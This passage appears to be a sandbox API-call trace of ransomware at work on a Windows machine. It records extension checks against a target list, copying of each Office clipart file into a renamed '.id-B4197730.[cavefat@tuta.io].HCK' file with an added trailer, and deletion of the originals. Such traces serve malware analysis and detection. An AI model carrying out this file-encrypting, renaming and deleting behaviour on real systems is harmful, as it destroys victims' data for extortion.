lpString2=".WMF") returned -1 [0234.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0234.333] lstrlenW (lpString=".jpg") returned 4 [0234.333] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.333] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0234.333] lstrlenW (lpString="J0107456.WMF") returned 12 [0234.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0234.333] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=3724) returned 1 [0234.333] CloseHandle (hObject=0x4c8) returned 1 [0234.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf")) returned 0x220 [0234.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0234.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0234.334] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.334] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0234.335] GetLastError () returned 0x0 [0234.335] ReadFile (in: hFile=0x4c8, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0xe8c, lpOverlapped=0x0) returned 1 [0234.336] WriteFile (in: hFile=0x4c0, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xe90, lpOverlapped=0x0) returned 1 [0234.337] ReadFile (in: hFile=0x4c8, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.337] WriteFile (in: hFile=0x4c0, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.337] SetEndOfFile (hFile=0x4c0) returned 1 [0234.337] CloseHandle (hObject=0x4c0) returned 1 [0234.337] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.337] SetEndOfFile (hFile=0x4c8) returned 1 [0234.721] CloseHandle (hObject=0x4c8) returned 1 [0234.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.209] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf")) returned 1 [0235.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0235.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0235.211] lstrlenW (lpString=".doc") returned 4 [0235.211] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.211] lstrlenW (lpString=".docx") returned 5 [0235.211] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0235.211] lstrlenW (lpString=".pdf") returned 4 [0235.211] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.211] lstrlenW (lpString=".xls") returned 4 [0235.211] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.211] lstrlenW (lpString=".xlsx") returned 5 [0235.211] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0235.211] lstrlenW (lpString=".ppt") returned 4 [0235.211] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0235.211] lstrlenW (lpString=".zip") returned 4 [0235.211] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.211] lstrlenW (lpString=".rar") returned 4 [0235.211] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.211] lstrlenW (lpString=".bz2") returned 4 [0235.211] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.211] lstrlenW (lpString=".7z") returned 3 [0235.211] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0235.211] lstrlenW (lpString=".dbf") returned 4 [0235.211] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0235.211] lstrlenW (lpString=".1cd") returned 4 [0235.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0235.211] lstrlenW (lpString=".jpg") returned 4 [0235.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0235.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0235.212] lstrlenW (lpString=".doc") returned 4 [0235.212] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.212] lstrlenW (lpString=".docx") returned 5 [0235.212] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0235.212] lstrlenW (lpString=".pdf") returned 4 [0235.212] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.212] lstrlenW (lpString=".xls") returned 4 [0235.212] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.212] lstrlenW (lpString=".xlsx") returned 5 [0235.212] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0235.212] lstrlenW (lpString=".ppt") returned 4 [0235.212] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0235.212] lstrlenW (lpString=".zip") returned 4 [0235.212] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.212] lstrlenW (lpString=".rar") returned 4 [0235.212] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.212] lstrlenW (lpString=".bz2") returned 4 [0235.212] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.212] lstrlenW (lpString=".7z") returned 3 [0235.212] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0235.212] lstrlenW (lpString=".dbf") returned 4 [0235.212] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0235.212] lstrlenW (lpString=".1cd") returned 4 [0235.212] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0235.212] lstrlenW (lpString=".jpg") returned 4 [0235.212] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.212] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0235.212] lstrlenW (lpString="J0107514.WMF") returned 12 [0235.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0235.214] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=12204) returned 1 [0235.214] CloseHandle (hObject=0x3c4) returned 1 [0235.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf")) returned 0x220 [0235.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0235.215] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.215] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0235.216] GetLastError () returned 0x0 [0235.216] ReadFile (in: hFile=0x3c4, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x2fac, lpOverlapped=0x0) returned 1 [0235.217] WriteFile (in: hFile=0x4cc, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x2fb0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x2fb0, lpOverlapped=0x0) returned 1 [0235.218] ReadFile (in: hFile=0x3c4, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.219] WriteFile (in: hFile=0x4cc, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0235.219] SetEndOfFile (hFile=0x4cc) returned 1 [0235.219] CloseHandle (hObject=0x4cc) returned 1 [0235.219] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.219] SetEndOfFile (hFile=0x3c4) returned 1 [0235.222] CloseHandle (hObject=0x3c4) returned 1 [0235.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.222] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf")) returned 1 [0235.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0235.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0235.223] lstrlenW (lpString=".doc") returned 4 [0235.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.223] lstrlenW (lpString=".docx") returned 5 [0235.223] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0235.223] lstrlenW (lpString=".pdf") returned 4 [0235.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.223] lstrlenW (lpString=".xls") returned 4 [0235.223] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.223] lstrlenW (lpString=".xlsx") returned 5 [0235.223] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0235.223] lstrlenW (lpString=".ppt") returned 4 [0235.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0235.223] lstrlenW (lpString=".zip") returned 4 [0235.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.223] lstrlenW (lpString=".rar") returned 4 [0235.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.223] lstrlenW (lpString=".bz2") returned 4 [0235.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.223] lstrlenW (lpString=".7z") returned 3 [0235.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0235.223] lstrlenW (lpString=".dbf") returned 4 [0235.223] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0235.224] lstrlenW (lpString=".1cd") returned 4 [0235.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0235.224] lstrlenW (lpString=".jpg") returned 4 [0235.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0235.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0235.224] lstrlenW (lpString=".doc") returned 4 [0235.224] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.224] lstrlenW (lpString=".docx") returned 5 [0235.224] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0235.224] lstrlenW (lpString=".pdf") returned 4 [0235.224] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.224] lstrlenW (lpString=".xls") returned 4 [0235.224] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.224] lstrlenW (lpString=".xlsx") returned 5 [0235.224] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0235.224] lstrlenW (lpString=".ppt") returned 4 [0235.224] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0235.224] lstrlenW (lpString=".zip") returned 4 [0235.224] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.224] lstrlenW (lpString=".rar") returned 4 [0235.224] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.224] lstrlenW (lpString=".bz2") returned 4 [0235.224] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.224] lstrlenW (lpString=".7z") returned 3 [0235.224] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0235.224] lstrlenW (lpString=".dbf") returned 4 [0235.224] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0235.224] lstrlenW (lpString=".1cd") returned 4 [0235.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0235.224] lstrlenW (lpString=".jpg") returned 4 [0235.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.224] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0235.224] lstrlenW (lpString="J0107516.WMF") returned 12 [0235.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0235.229] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=14008) returned 1 [0235.229] CloseHandle (hObject=0x3c4) returned 1 [0235.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf")) returned 0x220 [0235.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0235.230] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.231] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0235.232] GetLastError () returned 0x0 [0235.232] ReadFile (in: hFile=0x3c4, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x36b8, lpOverlapped=0x0) returned 1 [0235.233] WriteFile (in: hFile=0x4cc, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x36c0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x36c0, lpOverlapped=0x0) returned 1 [0235.234] ReadFile (in: hFile=0x3c4, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.235] WriteFile (in: hFile=0x4cc, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0235.235] SetEndOfFile (hFile=0x4cc) returned 1 [0235.235] CloseHandle (hObject=0x4cc) returned 1 [0235.235] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.235] SetEndOfFile (hFile=0x3c4) returned 1 [0235.241] CloseHandle (hObject=0x3c4) returned 1 [0235.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.241] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf")) returned 1 [0235.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0235.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0235.242] lstrlenW (lpString=".doc") returned 4 [0235.242] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.243] lstrlenW (lpString=".docx") returned 5 [0235.243] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0235.243] lstrlenW (lpString=".pdf") returned 4 [0235.243] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.243] lstrlenW (lpString=".xls") returned 4 [0235.243] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.243] lstrlenW (lpString=".xlsx") returned 5 [0235.243] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0235.243] lstrlenW (lpString=".ppt") returned 4 [0235.243] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0235.243] lstrlenW (lpString=".zip") returned 4 [0235.243] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.243] lstrlenW (lpString=".rar") returned 4 [0235.243] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.243] lstrlenW (lpString=".bz2") returned 4 [0235.243] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.243] lstrlenW (lpString=".7z") returned 3 [0235.243] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0235.243] lstrlenW (lpString=".dbf") returned 4 [0235.243] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0235.243] lstrlenW (lpString=".1cd") returned 4 [0235.243] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0235.243] lstrlenW (lpString=".jpg") returned 4 [0235.243] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0235.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0235.243] lstrlenW (lpString=".doc") returned 4 [0235.243] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.243] lstrlenW (lpString=".docx") returned 5 [0235.243] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0235.243] lstrlenW (lpString=".pdf") returned 4 [0235.243] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.243] lstrlenW (lpString=".xls") returned 4 [0235.243] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.243] lstrlenW (lpString=".xlsx") returned 5 [0235.243] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0235.243] lstrlenW (lpString=".ppt") returned 4 [0235.243] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0235.243] lstrlenW (lpString=".zip") returned 4 [0235.244] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.244] lstrlenW (lpString=".rar") returned 4 [0235.244] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.244] lstrlenW (lpString=".bz2") returned 4 [0235.244] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.244] lstrlenW (lpString=".7z") returned 3 [0235.244] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0235.244] lstrlenW (lpString=".dbf") returned 4 [0235.244] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0235.244] lstrlenW (lpString=".1cd") returned 4 [0235.244] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0235.244] lstrlenW (lpString=".jpg") returned 4 [0235.244] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.244] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0235.244] lstrlenW (lpString="J0107526.WMF") returned 12 [0235.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: 